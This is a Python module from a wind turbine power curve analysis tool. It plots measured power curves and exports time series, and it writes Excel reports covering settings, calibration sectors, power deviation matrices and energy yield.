import xlwt
import numpy as np
import os
import os.path

import colour

from ..configuration.base_configuration import Filter
from ..configuration.base_configuration import TimeOfDayFilter

from ..core.status import Status

from plots import MatplotlibPlotter
from power_deviation_matrix import PowerDeviationMatrixSheet

import version as ver

def get_valid_excel_sheet_name(sheet_name, if_too_long_replace={}):
    max_chars = 31
    invalid_chars = ':|\\/*?[]'
    for c in invalid_chars:
        sheet_name = sheet_name.replace(c, '')
    if len(sheet_name) > max_chars:
        for sub_str in if_too_long_replace:
            sheet_name = sheet_name.replace(sub_str, if_too_long_replace[sub_str])
    return sheet_name[:max_chars]

def chckMake(path):
    """Make a folder if it doesn't exist"""
    if not os.path.exists(path):
        os.makedirs(path)

class PNGPlotter:

    def plot(self, analysis, path):

        chckMake(path)

        plotter = MatplotlibPlotter(path, analysis)

        if analysis.hasActualPower:

            plotter.plotPowerCurve(analysis.baseline.wind_speed_column, analysis.actualPower, analysis.allMeasuredPowerCurve, specified_title = 'Warranted', mean_title = 'Measured Mean', gridLines = True)
            plotter.plotPowerCurve(analysis.baseline.wind_speed_column, analysis.actualPower, analysis.allMeasuredPowerCurve, show_scatter = False, fname = "PowerCurve - Warranted vs Measured Mean", specified_title = 'Warranted', mean_title = 'Measured Mean', mean_pc_color = 'blue', gridLines = True)

            if analysis.turbRenormActive:
                plotter.plotTurbCorrectedPowerCurve(analysis.baseline.wind_speed_column, analysis.measuredTurbulencePower, analysis.allMeasuredTurbCorrectedPowerCurve)

            if analysis.hasAllPowers:
                plotter.plotPowerLimits(specified_title = 'Warranted', gridLines = True)

        plotter.plotBy(analysis.windDirection, analysis.hubWindSpeed, analysis.dataFrame, gridLines = True)
        plotter.plotBy(analysis.windDirection, analysis.shearExponent, analysis.dataFrame, gridLines = True)
        plotter.plotBy(analysis.windDirection, analysis.hubTurbulence, analysis.dataFrame, gridLines = True)
        plotter.plotBy(analysis.hubWindSpeed, analysis.hubTurbulence, analysis.dataFrame, gridLines = True)

        if analysis.hasActualPower:
            plotter.plotBy(analysis.hubWindSpeed, analysis.powerCoeff, analysis.dataFrame, gridLines = True)
            plotter.plotBy('Input Hub Wind Speed', analysis.powerCoeff, analysis.allMeasuredPowerCurve, gridLines = True)

        if analysis.inflowAngle in analysis.dataFrame.columns:
            analysis.dataFrame.loc[analysis.dataFrame[analysis.inflowAngle]>180,analysis.inflowAngle] -= 360
            plotter.plotBy(analysis.windDirection,analysis.inflowAngle,analysis.dataFrame, gridLines = True)

        plotter.plotCalibrationSectors()

        if analysis.hasActualPower:

            if analysis.multiple_datasets:
                plotter.plot_multiple(analysis.baseline.wind_speed_column, analysis.actualPower, analysis.allMeasuredPowerCurve)

class TimeSeriesExporter:

    def export(self, analysis, time_series_path, clean=True,  full=True, calibration=True,
               full_df_output_dir="TimeSeriesData"):

        data_frame = analysis.dataFrame
        dataset_configs = analysis.datasetConfigs

        if clean:
            data_frame.to_csv(time_series_path, sep='\t')

        if full:

            root_path = os.path.join(os.path.dirname(time_series_path), full_df_output_dir)
            chckMake(root_path)

            for ds in dataset_configs:

                ds.data.fullDataFrame.to_csv(root_path + os.sep + "FilteredDataSet_AllColumns_{0}.dat".format(ds.name),
                                             sep='\t')

                if calibration and hasattr(ds.data,"filteredCalibrationDataframe"):
                    ds.data.filteredCalibrationDataframe.to_csv(
                        root_path + os.sep + "CalibrationDataSet_{0}.dat".format(ds.name), sep=',')

class Report:

    bold_style = xlwt.easyxf('font: bold 1')
    no_dp_style = xlwt.easyxf(num_format_str='0')
    one_dp_style = xlwt.easyxf(num_format_str='0.0')
    two_dp_style = xlwt.easyxf(num_format_str='0.00')
    three_dp_style = xlwt.easyxf(num_format_str='0.000')
    four_dp_style = xlwt.easyxf(num_format_str='0.0000')
    percent_style = xlwt.easyxf(num_format_str='0.00%')
    percent_no_dp_style = xlwt.easyxf(num_format_str='0%')

    def __init__(self, windSpeedBins, calculated_power_deviation_matrix_dimensions):

        self.version = ver.version

        self.windSpeedBins = windSpeedBins
        self.calculated_power_deviation_matrix_dimensions = calculated_power_deviation_matrix_dimensions

    def report(self, path, analysis):

        report_power_curve = analysis.hasActualPower

        book = xlwt.Workbook()

        plotsDir = os.path.dirname(path)

        plotter = PNGPlotter()
        plotter.plot(analysis, plotsDir)

        gradient = colour.ColourGradient(-0.1, 0.1, 0.01, book)

        if report_power_curve:
            sh = book.add_sheet("PowerCurves", cell_overwrite_ok=True)

        settingsSheet = book.add_sheet("Settings", cell_overwrite_ok=True)

        self.reportSettings(settingsSheet, analysis)

        if report_power_curve:

            rowsAfterCurves = []

            #rowsAfterCurves.append(self.reportPowerCurve(sh, 0, 0, 'uniqueAnalysisId', analysis.specified_power_curve, analysis)) #needs fixing + move to settings sheet

            if analysis.specified_power_curve is not None:
                if len(analysis.specified_power_curve.data_frame) != 0:
                    rowsAfterCurves.append(  self.reportPowerCurve(sh, 1, 0, 'Specified', analysis.specified_power_curve, analysis))

            if analysis.hasActualPower:

                #for name in analysis.residualWindSpeedMatrices:
                #    residualMatrix = analysis.residualWindSpeedMatrices[name]
                #
                #    if residualMatrix != None:
                #        self.reportPowerDeviations(book, "ResidualWindSpeed-%s" % name, residualMatrix, gradient)

                if analysis.hasShear and analysis.innerMeasuredPowerCurve != None:
                    rowsAfterCurves.append(self.reportPowerCurve(sh, 1, 5, 'Inner', analysis.innerMeasuredPowerCurve, analysis) )

                if analysis.hasShear and analysis.outerMeasuredPowerCurve != None:
                    rowsAfterCurves.append(self.reportPowerCurve(sh, 1, 10, 'Outer', analysis.outerMeasuredPowerCurve, analysis) )

                rowsAfterCurves.append( self.reportPowerCurve(sh, 1, 15, 'All', analysis.allMeasuredPowerCurve, analysis) )

                if analysis.turbRenormActive:
                    rowsAfterCurves.append(self.reportPowerCurve(sh, 1, 20, 'TurbulenceRenormalisedPower', analysis.allMeasuredTurbCorrectedPowerCurve, analysis) )

                if analysis.specified_power_curve is not None:

                    rowAfterCurves = max(rowsAfterCurves) + 5
                    sh.write(rowAfterCurves-2, 0, "Power Curves Interpolated to Specified Bins:", self.bold_style)
                    specifiedLevels = analysis.specified_power_curve.data_frame.index

                    if analysis.hasShear and analysis.innerMeasuredPowerCurve != None:
                        self.reportInterpolatedPowerCurve(sh, rowAfterCurves, 5, 'Inner', analysis.innerMeasuredPowerCurve, specifiedLevels)

                    if analysis.hasShear and analysis.outerMeasuredPowerCurve != None:
                        self.reportInterpolatedPowerCurve(sh, rowAfterCurves, 10, 'Outer', analysis.outerMeasuredPowerCurve, specifiedLevels)

                    self.reportInterpolatedPowerCurve(sh, rowAfterCurves, 15, 'All', analysis.allMeasuredPowerCurve, specifiedLevels)

                    if analysis.turbRenormActive:
                        self.reportInterpolatedPowerCurve(sh, rowAfterCurves, 20, 'TurbulenceRenormalisedPower', analysis.allMeasuredTurbCorrectedPowerCurve, specifiedLevels)

                    self.reportInterpolatedPowerCurve(sh, rowAfterCurves, (25 if analysis.turbRenormActive else 20), 'DayTime', analysis.dayTimePowerCurve, specifiedLevels)
                    self.reportInterpolatedPowerCurve(sh, rowAfterCurves, (30 if analysis.turbRenormActive else 25), 'NightTime', analysis.nightTimePowerCurve, specifiedLevels)

                self.reportPowerDeviations(book, "Baseline Power Deviations", analysis.baseline_power_deviations, gradient)

                #if analysis.rewsActive:
                #    self.reportPowerDeviations(book, "REWS Deviation", analysis.rewsMatrix, gradient)

                for correction_name in analysis.corrections:
                    correction = analysis.corrections[correction_name]
                    deviations = analysis.corrected_deviations[correction.correction_name]
                    sheet_name = get_valid_excel_sheet_name("{0} Power Deviations".format(
                        correction.short_correction_name), if_too_long_replace={'Power Deviations': 'PowDevs'})
                    self.reportPowerDeviations(book, sheet_name, deviations, gradient)

                if analysis.nominal_wind_speed_distribution.absolute_path is not None:
                    sh = book.add_sheet("EnergyAnalysis", cell_overwrite_ok=True)
                    self.report_aep(sh, analysis)

        if len(analysis.calibrations) == 1:
            calSheet = book.add_sheet("Calibration", cell_overwrite_ok=True)
            self.reportCalibration(calSheet,analysis.calibrations[0],timeStepInSeconds = analysis.timeStepInSeconds)
        elif len(analysis.calibrations) > 1:
            i = 0
            for cal in analysis.calibrations:
                i += 1
                calSheet = book.add_sheet("Calibration_%03d" % i, cell_overwrite_ok=True)
                self.reportCalibration(calSheet,cal,timeStepInSeconds = analysis.timeStepInSeconds)

        book.save(path)

    def reportCalibration(self,sh,calibration,timeStepInSeconds = 600.):
        conf, calib = calibration
        sh.write(0, 0, "Dataset Name", self.bold_style)
        sh.write(1, 0, conf.name)
        startRow = 3
        col = -14

        if 'belowAbove' in calib.calibrationSectorDataframe.columns :
            belowAbove = True
        else:
            belowAbove = False
        col+=16
        row=startRow
        sh.write(row,col,conf.name, self.bold_style)
        sh.write(row,col+1,"Method:"+conf.calibrationMethod, self.bold_style)
        row += 1
        sh.write(row,col,"Bin", self.bold_style)
        sh.write(row,col+1,"Slope", self.bold_style)
        sh.write(row,col+2,"Offset", self.bold_style)
        if conf.calibrationMethod != 'Specified':
            sh.write(row,col+3,"Count", self.bold_style)
            sh.write(row,col+4,"Hours", self.bold_style)
            if belowAbove:
                sh.write(row,col+5,"Count <= 8m/s", self.bold_style)
                sh.write(row,col+6,"Hours <= 8m/s", self.bold_style)
                sh.write(row,col+7,"Count >  8m/s", self.bold_style)
                sh.write(row,col+8,"Hours >  8m/s", self.bold_style)
            sh.write(row,col+9,"Speedup at 10m/s", self.bold_style)
            sh.write(row,col+10,"% Speedup at 10m/s", self.bold_style)
            sh.write(row,col+11,"Filter (Total Hours > 24)", self.bold_style)
            sh.write(row,col+12,"Filter (Hours Below/Above 8m/s > 6)", self.bold_style)
            sh.write(row,col+13,"Filter (Speedup Change < 2%)", self.bold_style)
            sh.write(row,col+14,"Valid Sector", self.bold_style)

        row+=1
        for key in sorted(calib.calibrationSectorDataframe.index):
            sh.write(row,col,float(key), self.bold_style)
            sh.write(row,col+1,calib.calibrationSectorDataframe['Slope'][key], self.four_dp_style)
            sh.write(row,col+2,calib.calibrationSectorDataframe['Offset'][key], self.four_dp_style)
            if conf.calibrationMethod != 'Specified':
                if 'Count' in calib.calibrationSectorDataframe.columns:
                    sh.write(row,col+3,calib.calibrationSectorDataframe['Count'][key], self.no_dp_style)
                    sh.write(row,col+4,calib.calibrationSectorDataframe['Count'][key]*(timeStepInSeconds/3600.0), self.one_dp_style)
                if belowAbove:
                    ba = calib.calibrationSectorDataframe.loc[key,'belowAbove']
                    sh.write(row,col+5,ba[0], self.no_dp_style)
                    sh.write(row,col+6,ba[0]*(timeStepInSeconds/3600.0), self.one_dp_style)
                    sh.write(row,col+7,ba[1], self.no_dp_style)
                    sh.write(row,col+8,ba[1]*(timeStepInSeconds/3600.0), self.one_dp_style)
                sh.write(row,col+9,calib.calibrationSectorDataframe['SpeedUpAt10'][key], self.four_dp_style)
                sh.write(row,col+10,(calib.calibrationSectorDataframe['SpeedUpAt10'][key]-1.0), self.percent_style)

                totalHoursValid = calib.getTotalHoursValidity(key, timeStepInSeconds)
                sh.write(row,col+11, "TRUE" if totalHoursValid else "FALSE")
                if belowAbove:
                    belowAboveValid = calib.getBelowAboveValidity(key, timeStepInSeconds)
                    sh.write(row,col+12, "TRUE" if belowAboveValid else "FALSE")
                speedUpChangeValid = calib.getSpeedUpChangeValidity(key)
                sh.write(row,col+13, "TRUE" if speedUpChangeValid else "FALSE")
                sectorValid = calib.getSectorValidity(key, timeStepInSeconds)
                sh.write(row,col+14, "TRUE" if sectorValid else "FALSE", self.bold_style)
            row += 1

        if len(conf.calibrationFilters) > 0:
            row += 2
            sh.write(row, col, "Calibration Filters", self.bold_style)
            row += 1
            sh.write(row, col, "Data Column", self.bold_style)
            sh.write(row, col+1, "Filter Type", self.bold_style)
            sh.write(row, col+2, "Inclusive", self.bold_style)
            sh.write(row, col+3, "Filter Value", self.bold_style)
            sh.write(row, col+4, "Active", self.bold_style)
            row += 1

            for filt in conf.calibrationFilters:
                if isinstance(Filter,TimeOfDayFilter):
                    sh.write(row, col, "Time Of Day Filter")
                    sh.write(row, col + 1, str(filt.startTime))
                    sh.write(row, col + 2, str(filt.endTime))
                    sh.write(row, col + 3, str(filt.daysOfTheWeek))
                    sh.write(row, col + 4, str(filt.months))
                else:
                    sh.write(row, col, filt.column)
                    sh.write(row, col+1, filt.filterType)
                    sh.write(row, col+2, filt.inclusive)
                    sh.write(row, col+3, str(filt))
                    sh.write(row, col+4, filt.active) # always true if in list...
                row += 1

    def reportSettings(self, sh, analysis):

        config = analysis
        sh.write(0, 1, "PCWG Tool Version Number:")
        sh.write(0, 2, self.version)
        sh.write(0, 3, xlwt.Formula('HYPERLINK("http://www.pcwg.org";"PCWG Website")'))

        row = 3

        labelColumn = 1
        dataColumn = 2

        sh.col(labelColumn).width = 256 * 30
        sh.col(dataColumn).width = 256 * 50
        sh.col(dataColumn+1).width = 256 * 50

        #Corretions
        sh.write(row, labelColumn, "Density Correction Active", self.bold_style)
        sh.write(row, dataColumn, config.densityCorrectionActive)
        row += 1

        sh.write(row, labelColumn, "REWS Correction Active", self.bold_style)
        sh.write(row, dataColumn, config.rewsActive)
        row += 1

        sh.write(row, labelColumn, "Turbulence Correction Active", self.bold_style)
        sh.write(row, dataColumn, config.turbRenormActive)
        row += 1

        #General Settings
        row += 1

        sh.write(row, labelColumn, "Time Step In Seconds", self.bold_style)
        sh.write(row, dataColumn, analysis.timeStepInSeconds)
        row += 1

        sh.write(row, labelColumn, "Power Curve Minimum Count", self.bold_style)
        sh.write(row, dataColumn, config.powerCurveMinimumCount)
        row += 1

        sh.write(row, labelColumn, "Power Curve Mode", self.bold_style)
        sh.write(row, dataColumn, config.powerCurveMode)
        row += 1

        #Inner Range
        row += 1
        sh.write(row, labelColumn, "Inner Range", self.bold_style)
        row += 1

        for dimension in config.inner_range_dimensions:

            sh.write(row, labelColumn, "Lower {0}".format(dimension.parameter), self.bold_style)
            sh.write(row, dataColumn, dimension.lower_limit)
            row += 1

            sh.write(row, labelColumn, "Upper {0}".format(dimension.parameter), self.bold_style)
            sh.write(row, dataColumn, dimension.upper_limit)
            row += 1

        #Turbine
        #row += 1
        #sh.write(row, labelColumn, "Turbine", self.bold_style)
        #row += 1

        #sh.write(row, labelColumn, "Specified Power Curve", self.bold_style)
        #sh.write(row, dataColumn, config.specified_power_curve.absolute_path)
        #row += 1

        #datasets
        row += 1
        sh.write(row, labelColumn, "Datasets", self.bold_style)
        row += 2

        for datasetConfig in analysis.datasetConfigs:

            sh.write(row, labelColumn, "Name", self.bold_style)
            sh.write(row, dataColumn, datasetConfig.name)
            row += 1

            sh.write(row, labelColumn, "Path", self.bold_style)
            sh.write(row, dataColumn, datasetConfig.path)
            row += 1

            sh.write(row, labelColumn, "Rated Power", self.bold_style)
            sh.write(row, dataColumn, datasetConfig.ratedPower)
            row += 1

            sh.write(row, labelColumn, "HubHeight", self.bold_style)
            sh.write(row, dataColumn, datasetConfig.hubHeight)
            row += 1

            sh.write(row, labelColumn, "Diameter", self.bold_style)
            sh.write(row, dataColumn, datasetConfig.diameter)
            row += 1

            sh.write(row, labelColumn, "Cut In Wind Speed", self.bold_style)
            sh.write(row, dataColumn, datasetConfig.cutInWindSpeed)
            row += 1

            sh.write(row, labelColumn, "Cut Out Wind Speed", self.bold_style)
            sh.write(row, dataColumn, datasetConfig.cutOutWindSpeed)
            row += 1

            sh.write(row, labelColumn, "Start Date", self.bold_style)
            sh.write(row, dataColumn, str(datasetConfig.startDate))
            row += 1

            sh.write(row, labelColumn, "End Date", self.bold_style)
            sh.write(row, dataColumn, str(datasetConfig.endDate))
            row += 1

            sh.write(row, labelColumn, "Hub Wind Speed Mode", self.bold_style)
            sh.write(row, dataColumn, datasetConfig.hubWindSpeedMode)
            row += 1

            sh.write(row, labelColumn, "Density Mode", self.bold_style)
            sh.write(row, dataColumn, datasetConfig.densityMode)
            row += 2

            sh.write(row, labelColumn, "REWS Defined", self.bold_style)
            sh.write(row, dataColumn, datasetConfig.rewsDefined)
            row += 1

            sh.write(row, labelColumn, "Rotor Mode", self.bold_style)
            sh.write(row, dataColumn, datasetConfig.rotorMode)
            row += 1

            sh.write(row, labelColumn, "Hub Mode", self.bold_style)
            sh.write(row, dataColumn, datasetConfig.hubMode)
            row += 1

            sh.write(row, labelColumn, "Number of Rotor Levels", self.bold_style)
            sh.write(row, dataColumn, datasetConfig.numberOfRotorLevels)
            row += 2

            sh.write(row, labelColumn, "Measurements", self.bold_style)
            row += 1

            sh.write(row, labelColumn, "Input Time Series Path", self.bold_style)
            sh.write(row, dataColumn, datasetConfig.input_time_series.absolute_path)
            row += 1

            sh.write(row, labelColumn, "Date Format", self.bold_style)
            sh.write(row, dataColumn, datasetConfig.dateFormat)
            row += 1

            sh.write(row, labelColumn, "Time Step In Seconds", self.bold_style)
            sh.write(row, dataColumn, datasetConfig.timeStepInSeconds)
            row += 1

            sh.write(row, labelColumn, "Time Stamp", self.bold_style)
            sh.write(row, dataColumn, datasetConfig.timeStamp)
            row += 1

            sh.write(row, labelColumn, "Bad Data Value", self.bold_style)
            sh.write(row, dataColumn, datasetConfig.badData)
            row += 1

            sh.write(row, labelColumn, "Header Rows", self.bold_style)
            sh.write(row, dataColumn, datasetConfig.headerRows)
            row += 1

            sh.write(row, labelColumn, "Turbine Location Wind Speed", self.bold_style)
            sh.write(row, dataColumn, datasetConfig.turbineLocationWindSpeed)
            row += 1

            sh.write(row, labelColumn, "Hub Wind Speed", self.bold_style)
            sh.write(row, dataColumn, datasetConfig.hubWindSpeed)
            row += 1

            sh.write(row, labelColumn, "Hub Turbulence", self.bold_style)
            sh.write(row, dataColumn, datasetConfig.hubTurbulence)
            row += 1

            sh.write(row, labelColumn, "Reference Wind Speed", self.bold_style)
            sh.write(row, dataColumn, datasetConfig.referenceWindSpeed)
            row += 1

            sh.write(row, labelColumn, "Reference Wind Speed Std Dev", self.bold_style)
            sh.write(row, dataColumn, datasetConfig.referenceWindSpeedStdDev)
            row += 1

            sh.write(row, labelColumn, "Reference Wind Direction", self.bold_style)
            sh.write(row, dataColumn, datasetConfig.referenceWindDirection)
            row += 1

            sh.write(row, labelColumn, "Reference Wind Direction Offset", self.bold_style)
            sh.write(row, dataColumn, datasetConfig.referenceWindDirectionOffset)
            row += 1

            sh.write(row, labelColumn, "Density", self.bold_style)
            sh.write(row, dataColumn, datasetConfig.density)
            row += 1

            sh.write(row, labelColumn, "Temperature", self.bold_style)
            sh.write(row, dataColumn, datasetConfig.temperature)
            row += 1

            sh.write(row, labelColumn, "Pressure", self.bold_style)
            sh.write(row, dataColumn, datasetConfig.pressure)
            row += 1

            if len(datasetConfig.turbineShearMeasurements) > 0:
                row = self.writeShear(sh,labelColumn,dataColumn,row,datasetConfig.referenceShearMeasurements,'Reference Location ')
                row = self.writeShear(sh,labelColumn,dataColumn,row,datasetConfig.turbineShearMeasurements,'Turbine Location ')
            else:
                row = self.writeShear(sh,labelColumn,dataColumn,row,datasetConfig.referenceShearMeasurements)

            sh.write(row, labelColumn, "Power", self.bold_style)
            sh.write(row, dataColumn, datasetConfig.power)
            row += 2

            if datasetConfig.rewsDefined:
                sh.write(row, labelColumn, "Profile Levels", self.bold_style)
                row += 1

                sh.write(row, labelColumn, "Height", self.bold_style)
                sh.write(row, dataColumn, "Speed", self.bold_style)
                sh.write(row, dataColumn + 1, "Direction", self.bold_style)
                row += 1

                for height in sorted(datasetConfig.data.windSpeedLevels):

                    sh.write(row, labelColumn, height)
                    sh.write(row, dataColumn, datasetConfig.data.windSpeedLevels[height])

                    if hasattr(datasetConfig.data, 'windDirectionLevels'): # we are not using this in REWS yet
                        if height in datasetConfig.data.windDirectionLevels:
                            sh.write(row, dataColumn + 1, datasetConfig.data.windDirectionLevels[height])

                    row += 1

            sh.write(row, labelColumn, "Filters", self.bold_style)
            row += 1

            sh.write(row, labelColumn, "Data Column", self.bold_style)
            sh.write(row, dataColumn, "Filter Type", self.bold_style)
            sh.write(row, dataColumn + 1, "Inclusive", self.bold_style)
            sh.write(row, dataColumn + 2, "Filter Value", self.bold_style)
            sh.write(row, dataColumn + 3, "Active", self.bold_style)
            row += 1

            for filter in datasetConfig.filters:
                if isinstance(Filter,TimeOfDayFilter):
                    sh.write(row, labelColumn, "Time Of Day Filter")
                    sh.write(row, dataColumn,     str(filter.startTime))
                    sh.write(row, dataColumn + 1, str(filter.endTime))
                    sh.write(row, dataColumn + 2, str(filter.daysOfTheWeek))
                    sh.write(row, dataColumn + 3, str(filter.months))
                else:
                    sh.write(row, labelColumn, filter.column)
                    sh.write(row, dataColumn, filter.filterType)
                    sh.write(row, dataColumn + 1, filter.inclusive)
                    sh.write(row, dataColumn + 2, str(filter))
                    sh.write(row, dataColumn + 3, "True") # always true if in list...

                row += 1

    def writeShear(self,sh,labelColumn,dataColumn,row,shearList,prefix=""):
        i = 0
        for sh_meas in shearList:
            sh.write(row, labelColumn, prefix+"Shear Measurement " + str(i+1), self.bold_style)
            sh.write(row, dataColumn, sh_meas.wind_speed_column)
            row += 1
            sh.write(row, labelColumn, prefix+"Shear Measurement {0} Height ".format(i+1), self.bold_style)
            sh.write(row, dataColumn, sh_meas.height)
            row += 1
            i += 1
        return row

    def reportPowerCurve(self, sh, rowOffset, columnOffset, name, powerCurve, analysis):

        powerCurveLevels = powerCurve.data_frame.copy()

        if powerCurve.wind_speed_column is None:
            powerCurveLevels['Specified Wind Speed'] = powerCurveLevels.index
            wind_speed_col = 'Specified Wind Speed'
        else:
            wind_speed_col = powerCurve.wind_speed_column

        powerCurveLevels = powerCurveLevels.sort(wind_speed_col)

        sh.write(rowOffset, columnOffset + 2, name, self.bold_style)

        sh.col(columnOffset + 1).width = 256 * 15
        sh.col(columnOffset + 2).width = 256 * 15
        sh.col(columnOffset + 3).width = 256 * 15

        if powerCurve.wind_speed_column is None:
            sh.col(columnOffset + 5).width = 256 * 5
        else:
            sh.col(columnOffset + 4).width = 256 * 15

        sh.col(columnOffset + 5).width = 256 * 5

        rowOrders = {'Data Count': 4, analysis.actualPower: 2,   analysis.hubTurbulence: 3,
                     analysis.baseline.wind_speed_column: 1, 'Specified Power': 2, 'Specified Turbulence': 3,
                     'Specified Wind Speed': 1, analysis.measuredTurbulencePower:2, wind_speed_col: 1}

        styles = {'Data Count': self.no_dp_style, analysis.baseline.wind_speed_column: self.two_dp_style,
                  analysis.actualPower: self.no_dp_style,  analysis.hubTurbulence: self.percent_no_dp_style,
                  'Specified Power': self.no_dp_style, 'Specified Turbulence': self.percent_no_dp_style,
                  'Specified Wind Speed': self.two_dp_style, analysis.measuredTurbulencePower: self.no_dp_style,
                  wind_speed_col: self.two_dp_style}

        for colname in powerCurveLevels.columns:
            if colname in styles.keys():
                sh.write(rowOffset + 1, columnOffset + rowOrders[colname], colname, self.bold_style)

        countRow = 1
        for windSpeed in powerCurveLevels.index:
            for colname in powerCurveLevels.columns:
                if colname in styles.keys():
                    val = powerCurveLevels[colname][windSpeed]
                    if type(val) is np.int64:
                        #xlwt needs numbers to be recognisable as integers or floats; isinstance(np.int64(1), int) returns False.
                        #Other numpy types (int32, float64, etc) are recognised as int and float appropriately.
                        val = int(val)
                    sh.write(rowOffset + countRow + 1, columnOffset + rowOrders[colname], val, styles[colname])
            countRow += 1

        if hasattr(powerCurve, 'zeroTurbulencePowerCurve'):
            countRow += 3
            try:
                pc = powerCurve.zeroTurbulencePowerCurve.dfPowerLevels
                sh.write(rowOffset + countRow, columnOffset + 2, name + ' Zero TI Power Curve', self.bold_style)
                countRow += 1
                sh.write(rowOffset + countRow, columnOffset + 1, 'Wind Speed', self.bold_style)
                sh.write(rowOffset + countRow, columnOffset + 2, 'Power', self.bold_style)
                for ws in pc.index:
                    sh.write(rowOffset + countRow + 1, columnOffset + 1, ws, styles['Specified Wind Speed'])
                    sh.write(rowOffset + countRow + 1, columnOffset + 2, pc.loc[ws, 'Power'], styles['Specified Wind Speed'])
                    countRow += 1
            except:
                sh.write(rowOffset + countRow, columnOffset + 2,'Zero TI Power Curve not calculated successfully for %s power curve.' % name)
                countRow+=1
        else:
            countRow += 3
            Status.add("Not reporting zero TI power curve for %s as it is not defined." % (name), verbosity=2)
            sh.write(rowOffset + countRow, columnOffset + 2,"Not reporting zero TI power curve for %s as it is not defined." % (name))
            countRow+=1

        return countRow

    def reportInterpolatedPowerCurve(self, sh, rowOffset, columnOffset, name, powerCurve, levels):

        sh.write(rowOffset, columnOffset + 2, name, self.bold_style)
        sh.write(rowOffset + 1, columnOffset + 1, "Wind Speed", self.bold_style)
        sh.write(rowOffset + 1, columnOffset + 2, "Power", self.bold_style)
        sh.write(rowOffset + 1, columnOffset + 3, "Turbulence", self.bold_style)

        count = 1
        for windSpeed in sorted(levels):
            sh.write(rowOffset + count + 1, columnOffset + 1, windSpeed, self.two_dp_style)
            sh.write(rowOffset + count + 1, columnOffset + 2, float(powerCurve.power_function(windSpeed)), self.no_dp_style)
            sh.write(rowOffset + count + 1, columnOffset + 3, float(powerCurve.turbulence_function(windSpeed)), self.percent_no_dp_style)
            count += 1

    def reportPowerDeviations(self, book, sheetName, powerDeviations, gradient):

        sheet = PowerDeviationMatrixSheet(self.calculated_power_deviation_matrix_dimensions)
        sheet.report(book, sheetName, powerDeviations, gradient)

    def report_aep(self,sh,analysis):
        sh # get tables in PP report form
        # Summary of EY acceptance test results:
        hrsMultiplier = (analysis.timeStepInSeconds/3600.0)
        row = 2
        tall_style = xlwt.easyxf('font:height 360;') # 18pt
        first_row = sh.row(row)
        first_row.set_style(tall_style)
        sh.write(row,2, "Reference Turbine", self.bold_style)
        sh.write(row,3, "Measured (LCB) Pct of Warranted Annual Energy Yield (%)", self.bold_style)
        sh.write(row,4, "Extrapolated Pct of Warranted Annual Energy Yield (%)", self.bold_style)
        sh.write(row,5, "Last Complete Bin (LCB)", self.bold_style)
        sh.write(row,6, "Direction Sectors Analysed (degrees)", self.bold_style)
        sh.write(row,7, "Measured Hours", self.bold_style)
        #sh.write(row,8, "Annual Energy Yield Uncertainty as a percentage of the Warranted Annual Yield (%)", self.bold_style)
        row += 1
        sh.write(row,2, analysis.Name)
        sh.write(row,3, analysis.aepCalcLCB.AEP*100, self.two_dp_style)
        sh.write(row,4, analysis.aepCalc.AEP*100, self.two_dp_style)
        sh.write(row,5, analysis.aepCalcLCB.lcb, self.two_dp_style)
        sh.write(row,6, "{mi} - {ma}".format(mi=analysis.dataFrame[analysis.windDirection].min(),ma=analysis.dataFrame[analysis.windDirection].max()))
        timeCovered = analysis.allMeasuredPowerCurve.data_frame[analysis.dataCount].sum() * hrsMultiplier
        sh.write(row,7, timeCovered, self.two_dp_style)
        #sh.write(row,8, "NOT YET CALCULATED")

        row += 3
        if hasattr(analysis.specified_power_curve,"referenceDensity"):
            sh.write_merge(row,row,2,6, "Measured Power Curve\n Reference Air Density = {ref} kg/m^3".format(ref=analysis.specified_power_curve.referenceDensity), self.bold_style)
        #sh.write(row,7, "Category A Uncertainty", self.bold_style)
        #sh.write(row,8, "Category B Uncertainty", self.bold_style)
        #sh.write(row,9, "Category C Uncertainty", self.bold_style)
        row += 1

        sh.write(row,2, "Bin No", self.bold_style)

        sh.write(row,3, "Bin Centre Wind Speed", self.bold_style)

        sh.write(row,4, "Hub Height Wind Speed", self.bold_style)
        sh.write(row,5, "Power Output", self.bold_style)
        sh.write(row,6, "Cp", self.bold_style)
        sh.write(row,7, "Qty 10-Min Data", self.bold_style)
        sh.write(row,8, "Standard Deviation", self.bold_style)

        #sh.write(row,7, "Standard Uncertainty", self.bold_style)
        #sh.write(row,8, "Standard Uncertainty", self.bold_style)
        #sh.write(row,9, "Standard Uncertainty", self.bold_style)

        row += 1
        sh.write(row,2, "I", self.bold_style)

        sh.write(row,3, "Vi_centre", self.bold_style)

        sh.write(row,4, "Vi", self.bold_style)
        sh.write(row,5, "Pi", self.bold_style)

        sh.write(row,7, "Ni", self.bold_style)

        sh.write(row,8, "StDev i", self.bold_style)

        #sh.write(row,7, "si", self.bold_style)
        #sh.write(row,8, "ui", self.bold_style)
        #sh.write(row,9, "uc,I", self.bold_style)
        row += 1
        sh.write(row,3, "[m/s]", self.bold_style)
        sh.write(row,4, "[kW]", self.bold_style)

        sh.write(row,8, "[kW]", self.bold_style)

        #sh.write(row,7, "[kW]", self.bold_style)
        #sh.write(row,8, "[kW]", self.bold_style)
        #sh.write(row,9, "[kW]", self.bold_style)

        for binNo,ws in enumerate(analysis.allMeasuredPowerCurve.data_frame.index):
            if ws <= analysis.aepCalcLCB.lcb and analysis.allMeasuredPowerCurve.data_frame[analysis.dataCount][ws] > 0:
                row+=1
                sh.write(row,2, binNo+1, self.no_dp_style)

                sh.write(row,3, ws, self.one_dp_style)

                sh.write(row,4, analysis.allMeasuredPowerCurve.data_frame[analysis.baseline.wind_speed_column][ws], self.two_dp_style)
                sh.write(row,5, analysis.allMeasuredPowerCurve.data_frame[analysis.actualPower][ws], self.two_dp_style)
                if analysis.powerCoeff in analysis.allMeasuredPowerCurve.data_frame.columns:
                    sh.write(row,6, analysis.allMeasuredPowerCurve.data_frame[analysis.powerCoeff][ws], self.two_dp_style)
                else:
                    sh.write(row,6, "-", self.no_dp_style)
                datCount = analysis.allMeasuredPowerCurve.data_frame[analysis.dataCount][ws]
                sh.write(row,7, datCount, self.no_dp_style)

                if analysis.powerStandDev in analysis.allMeasuredPowerCurve.data_frame.columns:
                    sh.write(row,8, analysis.allMeasuredPowerCurve.data_frame[analysis.powerStandDev][ws])
                else:
                    sh.write(row,8, "-", self.no_dp_style)

                #sh.write(row,7, "-", self.no_dp_style)
                #sh.write(row,8, "~", self.no_dp_style)
                #sh.write(row,9, "-", self.no_dp_style)

        row+=2
        sh.write_merge(row,row,2,5, "More than 180 hours of data:", self.bold_style)
